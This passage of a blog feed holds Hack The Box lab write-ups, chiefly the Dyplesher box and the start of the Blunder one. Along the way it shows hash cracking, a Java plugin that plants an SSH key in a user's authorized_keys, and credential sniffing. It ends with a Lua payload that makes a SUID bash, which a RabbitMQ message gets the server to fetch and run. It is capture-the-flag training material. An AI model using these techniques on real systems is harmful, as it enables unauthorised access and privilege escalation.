drwxr-xr-x 8 snowscan snowscan 4096 May 23 23:42 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s an SQLite database file inside the &lt;strong&gt;LoginSecurity&lt;/strong&gt; directory:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher/git-backup$ ls -l 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/
total 8
-rw-r--r-- 1 snowscan snowscan  396 May 24 00:44 config.yml
-rw-r--r-- 1 snowscan snowscan 3072 May 23 15:43 users.db
snowscan@kali:~/htb/dyplesher/git-backup$ file 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db 
4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db: SQLite 3.x database, last written using SQLite version 3007002
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The file contains another set of hashed credentials:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sqlite3 ./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter &quot;.help&quot; for usage hints.
sqlite&amp;gt; .tables
users
sqlite&amp;gt; select * from users;
18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we go, got another password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alexis1&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt git-hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis1          (?)
1g 0:00:00:06 DONE (2020-05-24 11:36) 0.1501g/s 243.2p/s 243.2c/s 243.2C/s alexis1..serena
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;rce-using-minecraft-plugin&quot;&gt;RCE using Minecraft plugin&lt;/h2&gt;

&lt;p&gt;Now that we have more credentials, we can go back to the main webpage and log in. We have a dashboard with some player statistics and a menu to upload plugins.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524113803504.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The console displays the messages from the server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524113905691.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looks like we’ll have to create a plugin to get access to the server. We can follow the following blog post instructions on how to create a plugin with Java: &lt;a href=&quot;https://bukkit.gamepedia.com/Plugin_Tutorial&quot;&gt;https://bukkit.gamepedia.com/Plugin_Tutorial&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After trying a couple of different payloads I wasn’t able to get anything to connect back to me so I assumed there was a firewall configured to block outbound connections. So instead I used the following to write my SSH keys to MinatoTW home directory:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn.snowscan.plugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;java.io.*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.bukkit.*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;org.bukkit.plugin.java.JavaPlugin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;java.util.logging.Logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;JavaPlugin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;onEnable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;    	
    	&lt;span class=&quot;nc&quot;&gt;Bukkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLogger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    	&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		    &lt;span class=&quot;nc&quot;&gt;FileWriter&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myWriter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FileWriter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/home/MinatoTW/.ssh/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		    &lt;span class=&quot;n&quot;&gt;myWriter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ssh-rsa AAAAB3NzaC1yc2EAAA[...]JsSkunC1TzjHyY70NfMskJViGcs= snowscan@kali&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		    &lt;span class=&quot;n&quot;&gt;myWriter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		    &lt;span class=&quot;nc&quot;&gt;Bukkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLogger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Successfully wrote to the file.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nc&quot;&gt;Bukkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLogger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;An error occurred.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		    &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;printStackTrace&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    	&lt;span class=&quot;nc&quot;&gt;Bukkit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLogger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;onDisable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    	
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After adding and reloading the script, our SSH public key is written to the home directory and we can log in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524114411007.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc-to-felamos&quot;&gt;Privesc to Felamos&lt;/h2&gt;

&lt;p&gt;Our user is part of the wireshark group so there’s a good chance the next part involves traffic sniffing.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MinatoTW@dyplesher:~$ id
uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As suspected, the dumpcat program has been configured to with elevated capabilities:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MinatoTW@dyplesher:~$ getcap -r / 2&amp;gt;/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ll capture packets on the loopback interface in order to capture some of traffic for the RabbitMQ instance.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MinatoTW@dyplesher:~$ dumpcap -i lo -w local.pcap
Capturing on 'Loopback: lo'
File: local.pcap
Packets: 90
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The pcap file contains some AMQP messages with additional credentials:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;felamos  / tieb0graQueg&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yuntao   / wagthAw4ob&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MinatoTW / bihys1amFov&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524114757641.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524114949910.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;root-privesc&quot;&gt;Root privesc&lt;/h2&gt;

&lt;p&gt;The send.sh file contains a hint about what we need to do next:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;felamos@dyplesher:~$ ls
cache  snap  user.txt  yuntao
felamos@dyplesher:~$ ls yuntao/
send.sh
felamos@dyplesher:~$ cat yuntao/send.sh 
#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data &quot;Exchange&quot; and &quot;Queue&quot;. Just send url to download plugins and our new code will review it and working plugins will be added to the server.' &amp;gt;  /dev/pts/{}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cubberite plugins are basically just lua scripts so we can created a simple script that’ll copy and make bash suid, then host that script locally with a local webserver.&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;os.execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cp /bin/bash /tmp/snow&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;os.execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;chmod 4777 /tmp/snow&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ll reconnect to the box and port forward port 5672 so we can use the Pika Python library and publish messages to the RabbitMQ messaging bus: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -L 5672:127.0.0.1:5672 felamos@10.10.10.190&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pika&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pika&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PlainCredentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'yuntao'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'EashAnicOc3Op'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pika&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConnectionParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'127.0.0.1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5672&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pika&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BlockingConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exchange_declare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'plugin_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;durable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queue_declare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'plugin_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;durable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queue_bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;queue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'plugin_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'plugin_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;routing_key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;basic_publish&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'plugin_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;routing_key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;plugin_data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'http://127.0.0.1:8080/pwn.lua'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Message sent, check the webserver to see if the LUA script was fetched.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/dyplesher$ python3 exploit.py 
Message sent, check the webserver to see if the LUA script was fetched.

felamos@dyplesher:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
127.0.0.1 - - [24/May/2020 15:57:29] &quot;GET /pwn.lua HTTP/1.0&quot; 200 -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a few moments, the LUA script is executed and we have a SUID bash we can use to get root.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-dyplesher/image-20200524115627328.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="linux" /><category term="vhosts" /><category term="gogs" /><category term="memcache" /><category term="sqlite" /><category term="minecraft" /><category term="capabilities" /><category term="pcap" /><category term="amqp" /><category term="rabbitmq" /><category term="lua" /><summary type="html">Dyplesher was a pretty tough box that took me more than 10 hours to get to the user flag. There's quite a bit of enumeration required to get to the git repo and then find memcached credentials from the source code. I couldn't use the memcache module from Metasploit here since it doesn't support credentials so I wrote my own memcache enumeration script. We then make our way to more creds in Gogs, then craft a malicious Minecraft plugin to get RCE. To get to the first flag we'll sniff AMQP creds from the loopback interface. To priv esc, we send messages on the RabbitMQ bug and get the server to download and execute a lua script (Cubberite plugin).</summary></entry><entry><title type="html">Blunder - Hack The Box</title><link href="https://snowscan.io/htb-writeup-blunder/" rel="alternate" type="text/html" title="Blunder - Hack The Box" /><published>2020-10-17T00:00:00+00:00</published><updated>2020-10-17T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-blunder</id><content type="html" xml:base="https://snowscan.io/htb-writeup-blunder/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-blunder/blunder_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Blunder was an easy box for beginners that required bruteforcing the login for a Bludit CMS, then exploiting a known CVE through Metasploit to get remote code execution. The priv esc is a neat little CVE with sudo that allows us to execute commands as root even though the root username is supposed to be blocked.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~$ sudo nmap -sC -sV -F 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 15:29 EDT
Nmap scan report for blunder.htb (10.10.10.191)
Host is up (0.63s latency).
Not shown: 98 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.68 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website-cms&quot;&gt;Website CMS&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-blunder/image-20200530163956572.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The X-Powered-By header reveals the site is running on Bludit CMS:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/blunder$ curl -v http://blunder.htb
*   Trying 10.10.10.191:80...
* TCP_NODELAY set
* Connected to blunder.htb (10.10.10.191) port 80 (#0)
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: blunder.htb
&amp;gt; User-Agent: curl/7.68.0
&amp;gt; Accept: */*
&amp;gt; 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
&amp;lt; HTTP/1.0 200 OK
&amp;lt; Date: Sat, 30 May 2020 20:42:40 GMT
&amp;lt; Server: Apache/2.4.41 (Ubuntu)
&amp;lt; X-Powered-By: Bludit
&amp;lt; Vary: Accept-Encoding
&amp;lt; Content-Length: 7562
&amp;lt; Connection: close
&amp;lt; Content-Type: text/html; charset=UTF-8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s an &lt;a href=&quot;https://www.exploit-db.com/exploits/47699&quot;&gt;exploit&lt;/a&gt; on Exploit-DB for Bludit CMS but it requires credentials.&lt;/p&gt;

&lt;h2 id=&quot;bruteforcing&quot;&gt;Bruteforcing&lt;/h2&gt;

